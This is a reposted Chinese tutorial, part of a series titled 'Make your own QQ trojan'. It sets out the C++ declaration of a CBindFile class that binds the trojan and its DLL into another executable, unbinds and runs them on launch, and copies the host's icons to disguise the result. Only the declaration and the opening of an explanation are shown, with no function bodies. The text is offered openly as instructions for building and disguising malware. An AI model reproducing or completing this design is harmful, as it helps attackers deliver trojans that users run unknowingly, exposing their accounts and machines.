自己动手做QQ木马--文件绑定篇(-)

王朝vc·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

自己动手做QQ木马--文件绑定篇

在本篇中我将详细分析一下CBindFile类的实现细节。

先看看CBindFile类的声明吧!

class CBindFile : public CObject

{

public:

CBindFile();

virtual ~CBindFile();

static const char *const szFlag; //文件被绑定过的标志

static const unsigned int lenOrigin; //未绑定动态连接库时的文件大小

static const unsigned int lenOriginAddDll; //绑定了动态连接库后的//文件大小

private:

TCHAR my_name[MAX_PATH]; //自身文件名字

TCHAR szMyFilePath[MAX_PATH]; //自身文件路径

HANDLE hFileMyself; //自身文件句柄

BYTE *buf; //读取文件数据缓冲

CString strToBindFilePath; //保存要绑定的文件名

CString strFinalFilePath; //保存最终合成文件名

char m_Ext[4]; //保存被绑定文件的扩展名

CString strUnbindFilePath_Dll; //分解出的DLL文件名

CString strUnbindFilePath_Sec; //分解出的Sec文件名

PROCESS_INFORMATION piRunProc; //分解出的第二个文件运行//的进程信息

public:

bool Initiate(); //判断文件是绑定还是分解

bool CloneMySelf_and_Run(); //克隆一个原文件并运行它

//取得分解出文件运行的进程信息

voidGetRunFileProcessInfo(PROCESS_INFORMATION&pi) const;

CString GetSecFilePath() const;

private:

bool Unbind_and_Run(); //分解已合并的文件,同时运行它们

bool Bind_File(); //将自己和另一个文件绑定在一起

//创建分解文件时的进程

bool Create_Process(const char* temp_Run, BOOL bDirectRun);

//判断是否是指定的文件名

bool IsSpecFileName(const TCHAR * const szSpecFileName) const;

void Modify_MyIcon(BYTE* &buf); //修改自身文件中的所有的图标

//在被绑定的PE文件中找到与自身文件中相匹配的图标

BYTE* Find_Match_Icon(HMODULE hExeToBind, const RESDIR *pResDir);

//枚举图标的回调函数

static BOOL CALLBACK EnumIconProc( HMODULE hExe,

LPCTSTR lpszType,

LPTSTR lpszName,

LPARAM lParam );

};

后面三个与图标相关的函数暂时不介绍,留在后面的攫取图标篇中详细说明。下面讲解几个重要的成员函数

1.Initiate()

在第一篇中我已经讲过Initiate()成员函数是重点,它是整个类的枢纽。通过判断本程序文件的大小来分别执行相关的操作,且看下图:

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航